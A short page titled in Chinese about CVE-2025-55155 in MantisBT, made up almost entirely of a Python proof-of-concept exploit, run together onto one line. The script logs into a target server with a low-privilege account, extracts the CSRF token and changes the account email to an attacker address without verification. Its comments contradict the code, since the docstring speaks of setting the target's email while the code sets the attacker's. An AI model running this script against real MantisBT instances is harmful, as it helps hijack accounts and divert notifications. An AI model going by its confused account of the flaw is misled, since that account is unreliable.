CVE-2025-55155 MantisBT邮件地址验证缺失导致信息泄露

# CVE-2025-55155 PoC - MantisBT Email Validation Bypass # This PoC demonstrates the email address modification without verification import requests import json TARGET_URL = "http://target-mantisbt.com" ATTACKER_EMAIL = "[email protected]" def exploit_email_hijack(): """ Exploit the email validation bypass vulnerability in MantisBT <= 2.27.1 Steps: 1. Authenticate with low-privilege account 2. Capture valid session cookie 3. Modify email address to target's email (no verification required) 4. System notifications will now be sent to target's email """ session = requests.Session() # Step 1: Login with low-privilege account login_url = f"{TARGET_URL}/login.php" login_data = { "username": "low_priv_user", "password": "password123", "return": "index.php" } response = session.post(login_url, data=login_data) if "Logged On" not in response.text: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Access account preferences page account_url = f"{TARGET_URL}/account_pref_page.php" response = session.get(account_url) # Step 3: Extract form token import re token_match = re.search(r'name="__csrf_token" value="([^"]+)"', response.text) if not token_match: print("[-] Could not extract CSRF token") return False csrf_token = token_match.group(1) print(f"[+] CSRF Token: {csrf_token}") # Step 4: Submit email change without verification update_url = f"{TARGET_URL}/account_pref_update.php" update_data = { "__csrf_token": csrf_token, "email": ATTACKER_EMAIL, # No verification required! "save": "Save" } response = session.post(update_url, data=update_data) if response.status_code == 200: print(f"[+] Email changed to: {ATTACKER_EMAIL}") print("[+] System notifications will now be sent to attacker email") return True else: print("[-] Email change failed") return False if __name__ == "__main__": exploit_email_hijack()